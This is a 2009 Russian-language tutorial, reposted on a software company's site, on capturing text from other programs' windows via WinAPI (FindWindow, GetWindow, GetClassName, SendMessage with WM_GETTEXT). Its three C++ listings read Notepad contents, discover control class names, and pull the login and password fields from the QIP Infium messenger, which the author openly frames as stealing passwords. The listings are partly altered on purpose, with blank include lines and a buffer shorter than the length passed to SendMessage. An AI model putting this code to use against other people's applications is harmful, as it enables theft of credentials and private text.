Перехват текста из окон.

Motorcode, 2009
Uraniumcode@gmail.com


Перехват текста из окон.

Как интересно почувствовать себя секретным агентом и читать то что пишут другие! Для некоторых это мечта детства. Но сегодня, в век компьютеров, это может сделать каждый, кто хоть немного знаком с программированием. Тут я немного слукавил, но суть одна и таже.
Итак, что нам сегодня понадобится: Голова(1 штука), компилятор C++( тоже одна штука), доступ в интернет(если вы не скачиваете весёлые картинки, то одна штука) и конечно же время(довольно много).
ВНИМАНИЕ!! Некоторые примеры в данном тексте изменены с целью защиты от дурака. Это я сделал для того чтобы просто тупа не копировали исходники, а ещё и разобрались что копировать:) Но и поняли как это работает.

Для начала найдём функции с помощью которых, мы будем перехватовать текст. Эта функция называется SendMessage(её описание можно прочитать естественно в MSDN). Передаём ей значение WM_GETTEX и прочитываем прочтённый текст;) Тут конечно не всё так просто как написано, для начало ведь надо ещё поймать окно. Но в этом нет ничего сложного и сейчас я это докажу. Для первого примера, будем пытаться прочитать что написано в блокноте. Запускаем Notepad.exe, сохраняем под каким — нибудь простым именем, и записываем туда что — нибудь(например пароль от контакта)

Листинг 1.1

#include
#include
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{
HWND ha = FindWindowA(NULL,"54 - Блокнот");
HWND hs = FindWindowExA(ha,NULL,"Edit",NULL);
char*a = new char[100];
SendMessageA(hs, WM_GETTEXT, 256, (LPARAM)a);
cout << a;
return 0;
}

Сначала находим окно самого блокнота(54 — Блокнот это имя, у вас оно может быть конечно другим), потом ищем имя класса, который отвечает за ввод. И это самое интересное, потому что в разных программах разное имя классов. И тут есть два способа искать эти имена.
Или сделать простенькую программу для этого. Например такую:

Листинг 1.2

#include
#include
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{
char*buff = new char[100];
HWND ha = FindWindowA(NULL,"54 - Блокнот");
HWND hs = GetWindow(ha,GW_HWNDNEXT);
GetClassName(hs,buff,100);
cout << buff;
return 0;
}

Опять же находим первое окно, потом ищем что у нас находится следующем(о других вариантах в msdn), пропускаем через функцию GetClassName и смотрим что нам выдаёт. Для этого это значение, подставляем в FindWindowEx(), если эта функция возвратила нам не ноль, то такой класс имеет место быть. Конечно это не доработанный вариант, но при наличии времени и желания, можно сделать и всё как надо.
Но это если ручками, а можно всё сделать и автоматом. Для этого надо скачать программу Spy++. Она всё сделает сама.
Продолжим рассматривать пример в листинге 1.1. Мы остановились на FindWindowEx, дальше только вызываем SendMessage и считываем текст в данном случаи из блокнота. Запускаем и видим, что текст который в блокноте отобразился у нас. Отлично! Первая победа. Но теперь попробуем считать откуда-нибудь по интереснее. Например из окошка при запуске интернета. И попробуем забарабать себе пароли. У первой строчки значение Edit, а вот у второй предлагаю подумать, тем более это не так сложно.
Теперь по пробуем взять пароли у самого QIP Infium. И это не product placement. Просто на данный момент он у меня установлен.
Листинг 1.3
#include
#include
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{
HWND ha = FindWindowA(NULL,"QIP Infium"); //"QIP Infium"
HWND fe = GetWindow(ha,GW_CHILD);
HWND fan = GetWindow(fe,GW_HWNDNEXT);
HWND dif = GetWindow(fan,GW_HWNDNEXT);
HWND her = GetWindow(dif,GW_HWNDNEXT);
HWND wqq = GetWindow(her,GW_HWNDNEXT);
char*buff = new char[100];
char*fack = new char[100];
char*bor = new char[100];
GetClassNameA(wqq,buff,100);
HWND hs = FindWindowExA(ha,NULL,buff,NULL);
char*a = new char[100];
SendMessageA(hs, WM_GETTEXT, 256, (long)a);
cout << a << "\n";
GetClassNameA(dif,bor,100);
HWND hqq = FindWindowExA(ha,NULL,bor,NULL);
char*b = new char[100];
SendMessage(hqq,WM_GETTEXT,256,(long)b);
cout << b << "\n";
return 0;
}

В принципе, тут мы делаем всё тоже что и делали в первом примере. Только тут мы сначала находим те самые поля, откуда будем тырить пароли. Сразу скажу, что эти поля называются,
TinfuComboBox.UnicodeClass и TinfuEdit. UnicodeClass. Это подтверждает, мою фразу, что в разных программах, разные и имена классов. Конечно, листинг 1.3 можно и сократить, но я решил показать путь как я на это вышел.
Я рассмотрел только базовые примеры, но на этой основе можно перехватить любые окна(конечно, которые не защищены). Удачи в поисках!



Автор: Motorcode | Добавлено: 12.10.2009, 12:22 | Просмотров: 14463
Добавить комментарий


Лучшие программы
Будильник
Lim BurnDisc
Радио плеер
Lim BackUp
Календарь праздников
Телефонный справочник
Аудио конвертер
LimNote
Стикеры
Таймер выключения
Женский календарь
Клавиатурный тренажер
Lim Block Folder
Lim Screenshot
Lim Tree Note
Lim Soft Catalog
Lim Quick Panel
Lim Frame Photo
Lim Image Marker
Lim Flash Security
Lim Launcher
Lim Mosaic Draw
Рисовалка для детей (Котики)
Школьный звонок
Lim Catalog Articles
Lim Anti Boss
Рисовалка для детей (Машинки)
...

Игры
Пасьянс Паганини
Игра_2048
Игра Cursor Run
Пасьянс Косынка
Пасьянс Паук
Игра Server War
Server War History AI
Складское дело
Крестики - Нолики 5 в линию
Сапер
Точки и квадраты
Судоку

Программы
Блог
Комментарии
Музыкальная перемена...
Прошу прощения, разо...
Здравствуйте! Спасиб...
Ниже писал я про Lim...
Спасибо. Прога замеч...
Отправил вам на почт...
Выдает ошибку, при п...
Здравствуйте, ситуац...
Скачивается версия 2...
Здравствуйте,переста...
Группа VK
Поделиться





Копилка MaxLim.

Если Вам понравилась наша программа, Вы можете купить нам кофе (или кофемашину) или пивка для поднятия настроения и ускорения написания новых программ и обновлений :), Пополните копилку и разработка программ ускорится :)...
Пополнить копилку можно несколькими способами:

1. Переводом через Сбербанк Онлайн - Платежи, Перевод клиенту сбербанка по номеру телефона "Номер телефона - +79284741288" -сумма перевода в рублях.
2. Кошелек Яндекс Деньги - 41001737394948
3. Через донаты...

Контакты для связи:
Skype - go_ramalex
mail - maxlim_soft@mail.ru

Яндекс.Метрика PR-CY.ru Яндекс цитирования
MaxLim.org - Сайт Компании MaxLim http://vsofte.biz MaxLim.org - Сайт programs.lv SoftOut.ru - Сайт SoftOut.ru  

Copyright MaxLim © 2007-2023